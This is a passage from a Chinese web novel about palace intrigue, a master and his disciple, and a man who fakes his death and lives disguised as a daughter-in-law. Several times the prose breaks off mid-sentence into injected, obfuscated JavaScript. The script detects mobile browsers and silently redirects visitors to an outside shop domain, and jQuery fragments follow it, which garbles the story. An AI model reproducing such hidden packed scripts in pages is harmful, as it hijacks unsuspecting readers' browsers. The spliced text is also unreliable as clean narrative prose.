楼韫闷了一口米饭,含糊不清道:“那是你没见过,我的孝已经尽过了。” 楼玉京凉凉扫他一眼,冷哼道:“饿死鬼投来的,你给你师公尽的哪门子孝?从小你就爱拽人家衣袍,也不知道随了谁这般顽劣。” 白倾熙不紧不慢地补刀:“没准谁也没随到,就他自个儿天生像个泼猴。” 亥时,楼玉京趁着夜深人静收好包袱提早半个晚上出门,车夫早已等在门口。街道空旷,她不知白倾熙在暗处看她,只有打更人的声音在车轱辘的滚动声里混着,楼玉京也不知是闭眼假寐还是真的在熟睡。马车很快驶离,出城之后白倾熙御马跟了上去。 京都总要比别处热闹,灯火通明,总有一盏是等人踏着黑夜而归。 马车入城后又悄然到了一处废宅后门,楼悯弦不知在门口站了多久,直到楼玉京掀开帘子下来他才给车夫甩去一锭银子,带人进门。 白倾熙翻墙从另一边进了院里,只有书房燃起细微的火光,她在窗纸上戳了个洞,朝里看去,楼玉京倒了杯茶往嘴里灌,楼悯弦取来一本名册递给她,在她伸手去拿时又忽然往桌上一按,他看向楼玉京的眼里晦涩难明,终究是叹息:“你真的想好了吗?” 楼玉京默然,最终伸手拿起名册收好。 纵使从此互为对立,楼玉京扯了扯唇,还是说:“师父,我不后悔。” “也罢,你自小就有主意。既然来了,就留一晚上,明日一早便走。” “师父赶我?” 楼悯弦似乎是想笑的,又觉着失态,只好板着脸,“我怎么敢,真要这样做了你还不得闹上天?” 言罢又道:“最近不太平,太后母族已经开始向陛下施压了,陛下一拖再拖,李丞相今儿还提醒他注意身体。” 李家在朝堂多年,连着两代新帝都是李丞相力挺上位,可见其背后势力盘根错节,若是轻易动了,恐怕江山易主。 “太后垂帘听政多年,大大小小的事宜都要掺和,陛下心里早有不满,如今他皇帝做的久了,好不容易才培养了一点自己的势力,怎么肯放权去做太上皇?”楼玉京悠悠道。名册上都是些旧臣,因为站队错误有的坚持己见死无全尸,有的忽然反水,事后辞官求来生路。 “所以才说最近不太平,让你注意些。”楼悯弦无奈地看她,“今日有庙会,从前你最是喜欢这些日子,说什么太好了不用习武了。” 楼玉京摸了摸鼻子,含糊道:“啊……有吗?不记得啊,师父你是不是觉得我好骗?” 楼悯弦:“……” 她惯会装疯卖傻。 楼悯弦灭了油灯:“你先去换身衣服,我去门口等你。” 楼玉京不疑有他,快步出门。 窗外,白倾熙正欲离开,忽的又听楼悯弦开口,显然是与他说话。 “听了这么久,不该露面吗?” 白倾熙屏住呼吸,窗外只有几缕清风穿堂而过,所幸楼悯弦也没有很想见人,只说:“不该你利用的,最好远离。” 楼悯弦挥袖,银针穿过窗纸的小洞,白倾熙稍稍后移,那抹细微的银光擦着她的脸过去,扎到院墙挪动的蛇身上。白倾熙眼中冷意转瞬即逝,终是压下火气离开了。 庙会人多眼杂,楼悯弦跟在楼玉京身后,远远看见丞相府的小女儿跟三皇子的亲卫走了,楼玉京虽说久不入京,却也听过李家三女,一女皇后,一女惊才艳艳,待嫁新贵,还有一女平庸,鲜少露面。 “李三小姐是打算瞒着李丞相与三皇子联手?” “未必。” 楼玉京一顿:“怎么说?” “外头鲜少有人知道,李家三女,二女亲生,一女收养。李三小姐已经收了太子的礼,若是再与三皇子勾结,太子不会放过她,何况李家还不至于为了一个养女和太子翻脸,只怕是三皇子有意为之。” “……”楼玉京看了他一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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楼玉京不知怎么想到这句,呢喃着,“京城的确是个好地方。” “天宫只是幻想,玉京,维持这点可怜的幻想需要一个长盛难衰的盛世,需要一个能摆脱李家控制的明君。越是痴傻越是暴虐难办。”楼悯弦低声说,“走吧,先回去。” 风声呼啸,楼悯弦见她没动,似乎又喊了她。只是楼玉京神思恍惚,耳边已经听不清究竟他还说了什么,手上下意识紧紧攥着方才他递给她的冰糖葫芦。 街边挂着的灯笼烛火透过油纸照在他雪白的衣襟,楼玉京下意识攥紧了手上的竹签,喊道:“师父……” 楼悯弦垂眸看她的眼,“怎么?” 楼玉京没说话,只是盯着前方不知在想什么,视线逐渐模糊,指节不断摩挲着那截签子,越来越快——瞬间她抬手挥去手上唯一的东西,眼神聚焦,灯下黑夜变得清晰。随着利刃划破空气的声音,冰糖葫芦碎了一地,竹签与暗箭一起扎入泥里。 楼玉京自己也愣了一下,楼悯弦仍旧没什么表情,抬手虚虚拦在她身前,低声让她先离京,说城外有人接应。 楼玉京朝着暗箭射来的方向看了一眼,应声让他当心,便头也不回地往城外方向跑去。 待人离开,暗处那人方才开口,语调散漫:“太傅能拦我到几时?” 楼悯弦没有回头,只冷声道。 “我说了,世子不该利用她。” 5. 霜重月华孤 谷雨连绵,楼玉京自京城回来后便称病在府,楼韫一人出门,白倾熙熬了药膳为其端去。 “近日雨多,公爹还是要多注意身体。”圆盘搁置在方桌上,白倾熙端起药膳递给她。楼玉京一见她手里的药就忍不住皱眉,她不知道白倾熙怎么熬的药,比楼悯弦之前灌她的还苦。 只是不喝恐会教人寒心,楼玉京咬了咬牙,视死如归般闭上眼猛地往嘴里灌,结果就是呛着了,还苦的她不住咳嗽。 白倾熙嘴角抽了抽,“公爹……” “不苦。”楼玉京打断她,笑得勉强,“一点也不苦。” 白倾熙:“……” 估算着甜粥也该熬的差不多了,白倾熙与她说了便吩咐人去取来。楼玉京心下松了口气,等到侍女端来甜粥赶紧伸手去拿,待到嘴里的苦味散去才满意地放下瓷碗。 楼玉京下了榻,披上外袍行至窗边,雕花木窗大开着,外头雨和风直直袭来,她皱眉关上窗户,心道难怪装病成真病,这窗日日都开着。 药送完了,白倾熙再留也不大合适,只是楼玉京没开口,她也就装傻继续坐着。只是那日她与楼太傅所说句句已知,还需想些办法套话。 “公爹那日入京可还顺利?”白倾熙问,“师公身子可好?” “好着呢,一人能打三头牛。”想起以前楼悯弦曾被牛追着跑,楼玉京没忍住笑了出来。 “公爹说笑,莫要传到师公耳里。”白倾熙无奈地看她。 “没事,我以前都当他面说,他还被牛追着跑。” 白倾熙不说话了,倒是楼玉京被勾起回忆,坐在床边和她说起以前跟楼悯弦住一块的日子。那些时日太过久远,久到她有些细节居然记不清了,可她还是笑着说完了自己记得的那些东西。 一会说楼悯弦管的宽,一会说他之前因为一棵白菜和摊贩吵架。白倾熙听到这明显愣了一下,毕竟世人眼里楼太傅清冷矜贵,惜字如金,不想居然还有一段和摊贩吵架的过往,加之方才楼玉京说他被牛追着跑,这画面着实难以想象。 夜渐深沉,白倾熙再待下去难免要传出闲话,便起身离去了。 楼玉京躺在榻上,方才一下子说了那么多从前,不免让她怅惘,她和楼悯弦再怎么好也真的只是从前了。 另一边因为楼玉京陷入回忆,没有套到什么有用的话的白倾熙则提笔写了信,趁着夜深人静的时候以白鸽传出。 翌日,白倾熙早早起身熬了药膳,备好蜜饯方才往楼玉京的院子去。楼韫临出门前特意叮嘱叫她莫要由着楼玉京贪嘴,当心牙疼,白倾熙淡声应下,他便去了春歇楼。 楼玉京一场病半月反复,终是传信与楼悯弦,重新找着从前的药方抓了药才逐渐好转。 立夏已过,江南回暖。楼韫提早几日跟隔壁镇子定好了今日去取些绿豆熬汤。春歇楼地窖内冰凉刺骨,绿豆汤熬好在里头存放一夜,第二日便可取出售卖。 楼韫刚到不久春歇楼就来了往日的熟客,李大爷还是老样子,要了几个包子和一壶酒。楼韫应声,朝里头喊人。 “怎么不常见你家娘子?”李大爷捋了捋胡子问道,“说起来都回暖了,楼老板还病着不肯出门?” 楼韫笑笑,说是。 小二端来包子和酒,李大爷一面吃一面和楼韫搭话,楼韫随口应付两句。见时辰差不多了便到隔壁镇子取回绿豆,往年绿豆汤都是楼玉京亲手熬的,楼韫没学会几分,只得吩咐小二看好,自个儿回家看看楼玉京肯不肯起。 哪知刚出门便撞上白倾熙,楼韫眉头一皱,问道:“你不是在家照顾爹?” 白倾熙从袍袖取出纸张递给他,应道:“公爹写了方子,让你照着熬汤。” 楼韫伸手接过,几步往里走,不忘让她进来候着,待到汤熬好了端了两碗出来让她带回去与楼玉京一道尝尝。 春歇楼对面当铺也方才开门,白倾熙端着方盘回头时与小二对视,微微颔首,小二轻微点头,她便回楼府去了。 掌灯时楼韫才堪堪到家,白倾熙让人给他留了晚膳。 春歇楼最近忙碌,上了绿豆汤的牌子银钱挣下不少,最近受了暑的人也不少。楼玉京病愈便带着白倾熙一块支摊送汤。有的食客饱餐一顿出门见了也会搭把手,只是绿豆有些不够用了,楼韫加急又在隔壁镇子定了不少,加了点银钱让对方送来。 楼玉京擦了把额头上的汗,吩咐后院多支几个临时灶寮一块煮汤。 忙里忙外过去四日,虽说账目亏损,受暑的人倒少去大半。白倾熙翻看账本,眉头微皱,再这般亏下去,估摸着离关门也不远了。 “公爹,我娘生前给我留了些银两,先将账目填平罢。” 楼玉京想也没想就拒绝了,哪有夫家用媳妇嫁妆做好事的道理,何况她还不至于缺了这点钱。 楼韫给人分着汤,听了白倾熙的话,回道:“爹最不缺的就是钱,你的钱自己留着罢。” 白倾熙只好收了话。 等到分完最后一人已是夜深,楼玉京摇着扇子直接坐在台阶上,瞅了眼还剩些汤,忙盛出给三人分了。 “说起来这倒让我想起一位故人。”楼玉京着实是渴了,几口灌完这碗汤,说:“之前对面那当铺的老板跟我一块施粥来着,也是到了晚上,两人的桶搞混了,他非说我喝了他的粥,我那会没发现,还把人打了一顿说他净想着蒙我。” 楼韫喝汤的动作顿住,终究是没说什么。倒是白倾熙喝了口往下追问,楼玉京就继续说:“第二天我就发现桶确实拿错了,但我也没想着拉下脸去道歉,只能塞点银子。结果他转头就把银子丢给路过的叫花子,估摸着那会他心里想的是你看,你的道歉我送给叫花子都不接受。” “公爹怎会这般想?”白倾熙放下瓷碗,直勾勾看着她,认真地道:“也许他想的是,原来她也会有道歉的一天,不过我不缺这点钱,还是给需要的人好了。” 楼玉京笑了,说她不了解他。 “萧鹤明啊……令人厌烦,他这个人吊儿郎当的没个正形,怎么可能这样想。” 怎么会这样想…… 楼玉京起身拍了拍身上的灰。 “还搁这喂蚊子?走了,收东西回家。” 楼玉京走的极快,不过一会便没了影。 楼韫收了东西,不悦地看着白倾熙。 “你又何必惹她难过。” 白倾熙冷哼,“那你又何必不开口拦着?想着以后说起今时今日我如何戏耍她,好看笑话?你心里如何想的,手上又是如何做的?与其在我这里马后炮,还不如你现在就去揭穿?” 楼韫扯唇笑了,似在讽她不自量力。不屑道:“她养了我十年,我比你了解她,就算她再厌恶谎言也会原谅我,你就不一样了,迟早她能忘了你。” “你且试试, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845924|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 你究竟够不够了解她,她的心够不够硬。” 楼韫见她甩袖要走,几步上前试图捏住她的肩膀让其停下,白倾熙脚步一顿,回头的瞬间抬手接去。内力翻滚,两掌贴合,震得衣袂翻飞。 楼韫往后退了几步稳住身形,白倾熙缓缓收手。见他嘴角渗血,冷嗤一声。 “学人动手之前还不如多去练练。” 说罢转身往楼府走去。 “萧鹤明——”楼韫像是气狠了,咬牙切齿,“你以为你是什么好东西,不过是与我一道骗她的伪君子!” 白倾熙脚步未停,即使他还是没忍住喊了这个名字。 “郎君怕是记性不大好,萧鹤明早在去年隆冬就死了,公爹亲自去看过葬礼的。” 施汤之后过去十日,五月十五日月圆之夜。 大抵是那夜白倾熙那句话的影响,楼玉京近日时常梦醒,左右醒后再睡不着,便起身穿衣,打着灯笼在院里走动。夜间较冷,楼玉京拢了拢衣襟,穿过几曲回廊,耳边忽然传来白倾熙的声音,似在与人对话,声音低的听不真切,更像是孤身一人喃喃自语。 “……倾熙?”楼玉京寻声朝着那处走去,不远处确实站了个人,她对那身形有些不确定,不知是自己困糊涂了产生的幻觉还是白倾熙的确在那站着。 “是你吗?倾熙?” 听到她的声音,梨树之下白倾熙猛然回头,还未来得及遮掩,忽而风起花落,带起池水一片涟漪。楼玉京愣住了,她甚至没看到有几道黑影迅速翻墙而出,只注意到这张脸似梦似幻真真假假,与那人着实太像。 本就因闲暇之余的思念心痒难挝,这会楼玉京艰涩地眨了眨眼,试图将那点泪意逼回去。奈何这场梦真切到她怎么都不肯撒手,于是泪光闪烁,烫的眼睛生疼,越是眨眼越是在脸上濡湿一片,可她是笑着的。 白倾熙明显僵了一下,就在那点晶莹掉落的瞬间,她看见了。 楼玉京……哭了? 她为什么哭? 白倾熙不知道,也没有问。 她甚至是头一回见她哭,分明过去再如何疼再如何戳她肺管子她都不会露出分毫怯懦。 月色朦胧,白倾熙终究是轻叹一声。 “玉京。”雌雄莫辨,短短一句轻唤在楼玉京耳边萦绕便能瞬间让她溃不成军,只是萧鹤明从未如此唤过她。 他对她永远都是喊一声“楼玉京”,就像她对他也永远都是一句“萧鹤明”,直到他死。 “萧……”楼玉京声音都有些哽咽,因为知道眼前一场虚假的梦,所以那句“萧鹤明”怎么都出不了口,她便只得沙哑地道:“欸,我在。” 身后的廊亭下,楼韫远远看着因白倾熙而思念难捱的楼玉京,他死死攥紧拳头才忍住上前打破这点可怜的幻想的冲动。有时候幻想破碎不一定是好事,至少这样的失态楼玉京不会希望第三个人知道。 只要他装作没看见就好,只是他忍得指甲近乎嵌进肉里。 白倾熙是看见了他的,只是她不在意,又或者她与楼韫存了同样的心思。 楼玉京性子傲,她同样知晓,便匆匆收了视线,没有让她发现楼韫就在她身后。 花瓣在池水中漂浮稍息,波纹渐浅,直至恢复平静,水天之中一轮圆月照得人影似幻。 楼玉京还记得萧鹤明走的那个夜晚,消息传回来时也是个难得的月圆之夜。 6. 只道是寻常 那晚的事谁也没有提起,楼玉京大抵是后知后觉尴尬不已,一连几日都躲着白倾熙走。只是她躲着,她偏要往跟前凑,这不在小满前几日,白倾熙在门前拦下她,说要讨教如何祭蚕神。 楼玉京实在躲不掉,又见她似乎没有要提起前段时间的事,便停下与她说了。 “一般是从备神到谢神,祠堂在东街,还挺远的,往年我们家都不参与,你想去凑个热闹?” 白倾熙点了下头,含笑道:“不如公爹与我一道去看看?” 楼玉京向来不喜欢参与这种事情,觉得又累又无聊,正欲回绝,抬眼撞上白倾熙略微期待目光,拒绝的话兜来转去终是卡在喉咙没能说出,她还是应下了。楼韫怀疑自己听错了,不可置信地看着她,往年他想去的时候也没见楼玉京答应陪他啊。 “爹,到底谁是你养的啊……”楼韫掩面佯装悲痛,稍稍眯眼从指缝看去,楼玉京早没影了。 楼韫:“?” 两日后,小满,蚕神庙。 这会街上人头攒动,约莫半个镇子的人家都有派人前来祭祀,楼玉京也是头一回正式参与,这看看那摸摸,白倾熙忙拦下她。 “公爹不可,莫教人落下口舌。” 楼玉京对那些东西也没太大兴趣,便收了手,说道:“走罢,估摸着也快要上香了。” 白倾熙寻了个偏后的位置,上香之后主祭诵读祝词,而后便是三献礼、蚕花戏。 “称心如意,万年余粮。蚕花马,蚕花纸,头蚕势,二蚕势,好得势……” 楼玉京吃了一口笋干烧肉,也不知是谁家做的,味道极好,她下意识看去烧菜的方向,却看见白倾熙不知几时站在了那里。她愣了一下,也顾不上继续吃了,耳边传来同桌街坊的赞叹。 “楼老板,你家娘子手艺这样好,怎么不见她去春歇楼帮衬一二?” 她自己都不知道白倾熙有这一手,只好讪笑:“哪里哪里……” 白倾熙与主厨闲聊两句才回到楼玉京身侧坐好,见楼玉京盯着她,有些不解:“公爹可有话要说?” “倾熙,你这个笋干烧肉怎么做的,我能买方子吗?”楼玉京说着又吃了一口,“我不缺钱,你可以随便开价。” 白倾熙抿了口茶,没有说话,手上却从袍袖中取出方子递给她。 “既是公爹开口要的,小辈没有不给的道理,一家人何须谈钱?” 楼玉京没接,脸上写着不赞同。 “一家人不说两家话是真的,可是亲兄弟还明算账,我只是你公爹,哪有平白无故拿你东西的道理?” 白倾熙沉默片刻,自知她的性子,思忖道:“那……十两?” 这个价格不高不低,一来全了长辈的面子,二来也不算太过疏远,楼玉京没和她推辞,从袖口取了银子递给她。 分福之后白倾熙主动留下帮着刷碗,楼玉京自然也没闲着,帮着搬桌椅。忙完已是晚上,临走前,白倾熙回头朝萧家当铺掌柜的方向看了一眼,对方冲她点头她才快步跟上楼玉京。 “你和萧家掌柜认得啊?” 白倾熙心上一紧,低声道:“我娘与他们算是远亲,不同旁支。” 楼玉京哦了一声,没再问下去。 初九傍晚,楼玉京书房飞入一只白鸽,彼时她正在与楼悯弦写信,白鸽腿间缠着隶属于琼景王府的枫叶挂坠。 楼玉京写信的动作僵住,她与琼景王无任何直接交集,此刻对方来信,不用想也该知道是拉拢。果不其然,信件展开就是对方苍劲有力的字,大致意思是他知道楼玉京有意与三皇子交好,希望可以见一面。 楼玉京没有回信的打算,也幸好——幸好她出没朝堂一直用的是女身与代号,否则楼府只怕明日就能引来琼景王等人,她在回与楼悯弦的信件末尾提起琼景王有意拉拢之事,便放了白鸽自行归巢。 夜间,白倾熙换了身行头潜入楼玉京的书房,只是琼景王的信件已经成了飞灰,她也没找到什么暗室之类的开关,从楼悯弦那拿走的名册不知被放在哪里,不好翻的太乱,白倾熙只得先行离开。 翌日一早,楼玉京收到楼悯弦的回信,称自己已知晓,且琼景王已经派人找她,让她务必当心。楼玉京焚烧信件,却在角落看见几根遗落的长发,心中瞬间警觉。 昨夜有人来过。 她忙阖上窗户,锁好门才进入密室。 里头没有被翻找的痕迹,名册夹着的花瓣也还在原页,那人应当是没有找到这里。 楼玉京心下一松,想着既是进来了,便烧柱香再走,清明那会烧的香早就燃尽了,她倒了一半香灰,燃香插好,又倒了三杯酒供着,这才离开。 晌午白倾熙来了一趟,不过是在书房与她闲聊,她来的太勤快,楼玉京明白流言是要吃人的,便寻了由头让她先回去了。 楼府说大不大说小不小,几乎都是些多年前就留着的老人了,偏偏几根头发叫楼玉京无从下手查无可查,只得暂时先搁置下来。 最近李丞相动作太大,听说是连下头上贡的税务都敢私吞,让陛下抓了把柄在李府好一顿搜,却是什么也没查到,反而是自己的人被李丞相参了一本,证据充足,叫他不得不罚。好不容易培养起来的一点势力被打的像是有了裂痕的镜面,随时可能破碎。 皇帝气的一病不起,就靠汤药吊命。 李丞相逼着尚且在世的陛下让太子暂代公务,如今的天下可以说是太子党的天下。 这年方才六月就已是酷暑难耐,害暑的比五月多了整整一倍,春歇楼每到这时便会多招些人在门前分发绿豆汤,依然分文不取,招的临时工包吃住,银钱也给的多,春歇楼能够长久不衰也并非没有原因。 楼玉京忙的脚不沾地,满头的汗水也来不及擦,方盘一次放了六碗汤端去给已经走不动道的妇孺。陛下病后税务大涨,有些人家本就只能维持基本温饱,如今交完税根本吃不上饭。 李丞相贪污之事并非空穴来风,只是陛下自身难保,他又是个老狐狸,没少做这些事,处理起来轻而易举,把柄难找。 若真的让太子即位,李丞相不得直接翻天。楼玉京等人一直忙到深夜,白倾熙端着方盘回来,沉默地看着满街哀嚎上天不公、陛下不公的老者。 “公爹如何看待李丞相之事?” 楼玉京累的坐在台阶上不停扇风,听她一问,仰头看去,白倾熙确实很高,楼韫与她身高差不多,白倾熙却是高出一个头。 “你问这些做什么?”私下里楼玉京极少与身边人谈论朝堂之事,一来自己不想暴露,其次知道的越多死的越快她也不是不清楚,因此楼韫都不知道她和楼悯弦涉事朝廷。 “我听说是李丞相逼着陛下盖章涨税,只是太多人因此受苦……” “这些事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17845925|211733||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我们普通人管不着啊,”楼玉京喝了一大口水,“朝堂那里轮得到我们说话,当心被杀头。” 白倾熙不再开口。 后半夜她翻墙出了楼府,到春歇楼对面的萧氏当铺叩了三下门。如今的萧掌柜,萧鹤明原来的管家开门放人进去。 白倾熙也不废话,见人锁好门便说明来意。 “之前让你查的名册怎么样了?” 掌柜从里间取出另一本与楼玉京相差无几的册子递给她。 “楼悯弦手里还有一本,与楼老板手上那本至少相差一半不止,恐怕他手里那本才是从前和楼家夫妇一起涉事的名单。” 白倾熙快速翻看名册,萧掌柜压低声音:“世子,您何必帮她?” 她动作不停,冷声道:“不该问的闭嘴。” 从未有人知道其实过去萧鹤明与楼玉京有过一段心平气和的日子,那是在萧鹤明与她结仇后第一次登门道歉。楼玉京表面嫌弃却还是放人进门,两人一起在后院凉亭煮酒烹茶,闲聊许久,一起醉到深夜。 直到第二天酒醒,虽然后来也有些摩擦和不愉快,即使假死入楼府喊出的句句“公爹”也存在一点恶心她的成分,到底萧鹤明内心深处是把楼玉京当做朋友看的。 “楼悯弦这师父当的还真是……称职啊。”白倾熙合上名册往桌上一摔。 萧掌柜摸了摸额头上不存在的汗水:“世子,楼太傅太过警惕,这本仅仅只是一半,另一半我们的人没来得及抄。” “足够了,楼玉京不是傻子,自己也会查。只是楼悯弦养大了她,她对他太信任,什么都不知道藏。” “楼太傅到底对她还是在乎的,那日我看楼老板手上的佛珠觉着眼熟,后来才想起那是楼太傅绝不离身的手串,他应当也没想要她的命。”萧掌柜收好名册,仔细回忆祭蚕神那日看到的佛珠,与她说。 “楼悯弦不要她的命,未必不要楼韫的命,你以为他是什么好货色?”白倾熙深吸一口气,“罢了,让人多盯着他的动向,如若他要对楼玉京下手,立刻阻拦。” 萧掌柜忙应道:“属下明白。” “对了,王爷那边……”萧掌柜有些犹豫,毕竟这父子俩关系着实不算好。 “但说无妨。”白倾熙不想听任何废话,闭眼捏了捏鼻梁,“以后少说废话。” “王爷给‘朝华’传信了,只是最后白鸽进了楼府。” “朝华在楼府?”白倾熙猛然睁眼,看向萧掌柜。 “看上去是这样的,只是她没有给王爷回信,大概没有要合作的意思。” 白倾熙冷笑,“三皇子生性痴傻,他凭着不知从哪得来的朝华有意三皇子的消息就想引人出来,怕是还没睡醒。” 言罢又道,“最近害暑的人太多,多找些人让他们去春歇楼帮忙。李丞相如今倒真以为自己能翻天,逼着陛下大涨税额。明天开粮库施粥,粥不管饱就再蒸饭,多做些白面馒头和馍馍,一并送给街上的人。记得给楼玉京也送些。” 萧掌柜应下,摸了摸胡子,又说:“那楼韫……” 白倾熙嗤笑:“他自己不会做吗?是断手了还是断脚了?需要你送?” 萧掌柜:“……” 翌日一大早萧府开粮库与楼府一并救济邻里的事就传开了,楼玉京轻松了些,萧府送来的饭也不推辞。 白倾熙在她身后静静看着。 7. 山雨来临前 端午,白倾熙与楼玉京一块包了些粽子,蒸好又让楼韫给熟悉的邻里送些。白倾熙手艺的确很好,无论是祭蚕神那日的菜方还是今日的粽子馅儿,味道都是上乘,换了做法的笋干烧肉虽没涨价,但挣的银子依然比往日高了一倍多。 “倾熙,你这菜和馅儿怎么都做那么好?”楼玉京真心觉着白倾熙厉害,平日里她也不能说是吃得少,就是比较挑,不爱吃的菜可以说是几乎不动,也就是卖小辈面子才会吃两口。白倾熙就给她变着花样做,有些换了花样还不爱吃的,她就做出楼玉京爱吃的做法为止。 白倾熙吃着粽子,含糊不清地道:“做久了就慢慢摸索出来了,公爹若是喜欢,我可以再钻研。” 楼玉京嘴里的粽子刚咽下去,听她这般说,连忙摆手:“不用不用,现在就可以了,你也有自己的事要忙,总不能只顾着研究我爱吃什么。” 白倾熙便不再说话,只是那之后每回饭桌上都会出现一些新菜式,大概是楼玉京没那么挑嘴了,她自己也感觉身子好了些,轻快不少。 这天夜里楼玉京以身体不适为由,早早回了院子,进了书房密室,彼时楼悯弦已经在等她了。 “来了?”楼悯弦看着她。 “师父,琼景王那边还在找我吗?”楼玉京在他身边坐下,上次她没回信表态,琼景王已然按捺不住,只是如今她身在江南,分不开身,对京城现在的状况也不大了解。 楼悯弦从她进来那一刻视线就没移开过,应声道:“不只是琼景王,李丞相也有拉拢你的意思。” 楼玉京闻言微蹙眉,外头传出她有意三皇子之事李丞相不会不知道,加之太子党早已地位稳固,多她一个少她一个也不见得能有什么威胁,他又何必大费周章抬到明面去与琼景王作对。 “李明德大概是觉着你已不足为惧。”楼悯弦说,“太子党地位超然,李丞相野心膨胀,他是已经笃定你不会拒绝他的拉拢。” 楼玉京讥笑道:“李丞相当真是心比天高,真的以为稳定一时就万无一失了。” 楼悯弦定定看着她,“玉京,李丞相的拉拢并非完全是坏事。” 他思虑许久,还是解下腰间的玉牌握在掌心,朝她递去。 “现在反悔还来得及,那一日我与你说过,有李三小姐的引诱,加上三皇子本身就难以扶持,他不会赢的。我不可能真的每次都给你反悔的机会,这一次,你要想好。” 楼玉京没有接,默然盯着那玉牌,久久不曾开口。 楼悯弦劝过她多次无果,这或许真的是最后一次给她反悔的机会了。 最后一次……也好。 见她这般,他叹道:“也罢,你这倔性子,一向是不撞南墙不回头。” 局势已定。 有些事情,无论痛苦与否,终是要做决断的。 “师父,”楼玉京终于开口了,声音有些哑,却是笑着与他说,“日后……您少来罢,这条地道我会找人封掉。” 楼悯弦收回玉牌的动作僵住。 “即使不算频繁,但以现在的身份立场,不合适了。” 楼悯弦听完便笑了,不带犹豫,低声应下,他答应她的事从来没有做不到的。 只是临走前他又看去楼玉京手腕上的佛珠,声音难免有些悲凉:“玉京,真的是最后一次了。” 最后一次了。 往后我真的再也不会,也不能留情了。 楼玉京依旧是笑着的,即使有些牵强,还是说:“好。” 楼悯弦得了答复,看了她片刻便从地道离开了。 六日后的京城,酒楼雅间,李丞相坐在窗台边闭着眼掌珠,桌上茶已经凉透了,楼悯弦姗姗来迟,关上房门,摘下帷帽。 “丞相大人久等。”楼悯弦坐在他对面,“不知这次琼景王又有什么动静。” 李丞相看了他一眼,没有答话,只问:“七月初你见了朝华,她怎么说?” 楼悯弦嗤然笑道:“还能怎么说,地道都封上了。” 李丞相讥讽道:“当初是谁信誓旦旦地说朝华一定会答应,以退为进你用了几次?她哪次不是这样回答的?照我说就该直接抄了她家,有软肋在手,不怕她不听话。” 楼悯弦倒茶的动作顿住,神色冷下,言语中带上警告。 “李丞相,手伸的太长了。” “楼太傅,别忘了你是为谁做事,至于我的手长不长,并不在你的考虑范围内。还是说你对朝华有什么放不下的……” “李丞相慎言。”楼悯弦冷声打断他。 李丞相笑了起来,饮下茶水,起身欲离开,行至门前他忽然脚步一顿,淡然道。 “我只是提醒太傅,莫要忘了太子的性子。” “他不会,是他亲口许诺,就算他性子激进,也并非是言而无信之人。” 楼悯弦虽是这样说的,心里却也明白帝王家最是无情,只要能达成目的,反悔又算什么呢? “殿下是答应了你,但那是在朝华威胁不到他的情况下。倘若殿下真的要对她出手,太傅难道真的可以保证自己一定会救她吗?羊皮披得久了,就忘了自己究竟是什么了?” 楼悯弦并未否认。 “倘若朝华影响到我们的计划,殿下一定会杀了她。”李丞相说。 楼悯弦看向他的背影,想到什么似的嗤笑出声。 “如此信誓旦旦,看来你们是知道朝华是谁了?” 李丞相回头对上他的视线,意味深长,“我们不知道,太傅不是知道么?就看太傅到时候愿不愿意说了。只是太子殿下最近对你那徒弟有些兴趣,不知这么多年过去,那位后生长开以后俊俏与否?” 说完也不管他陡然变化的神色,李丞相推门离去。 楼悯弦一个人在雅间坐了许久,只觉后脊发凉,他此刻甚至有些后悔没有让楼玉京提前安排布局,防止太子的突袭。如今他恐怕已无法离京或传信与她,他能做的只剩下等待与信任。 太子是他的门生不错,楼玉京也是他养大的,是他带出来的,何况…… 楼悯弦面色不虞,终是压着火气甩袖离开。 与此同时,楼府,楼玉京自那日与楼悯弦说开后便安排人手在京城秘密盯着李府动向,至于琼景王府,据她的人传信称有人先她一步在盯着了,为了不打草惊蛇,她只好暂时放弃这一步。 皇宫内其他皇子公主有的无意皇位,自请封王,有的私下投靠太子,只想苟活,唯有三皇子背后站着琼景王,处于下风。 近日江南多了不少陌生面孔,楼玉京也大抵明白太子想见朝华,楼悯弦不肯说,就只有捉拿她来威胁这一条路。 窗外忽然乌云密布,狂风呼啸,太阳隐没在云里,过不了多久就要变天了。 此刻的萧府也不算安稳,萧掌柜召集人手在萧鹤明原有的院子里焦急等待,太子的人已至江南,不是找萧鹤明就是找楼玉京,只是前者一直没有回来,也没有下令。 白倾熙这会刚从春歇楼出来,她不是不知道太子眼线日益增多,当初假死之事她自问处理的干净,琼景王那边都没起疑,何况太子还不至于蠢到认为一个废世子能威胁琼景王,那就只能是楼玉京了,楼悯弦这会想必已被太子扣下。 她刚回到楼府门前便觉着不对,今日那些眼线消失了,正门紧闭,白倾熙心中大骇,忙转头要回萧氏当铺,却见李丞相不知何时已经站在了她身后。 李丞相上下打量她,忽然蹙眉,觉着这人眼熟,只是现下那个人不该出现在这里,何况那人身份尊贵,突然成了楼家新妇,传出去也不怕别人笑话。 他便又像是一个慈祥的长辈笑眯眯地说:“你就是楼家新妇?想去哪儿?” “放松,你公爹认得我。” 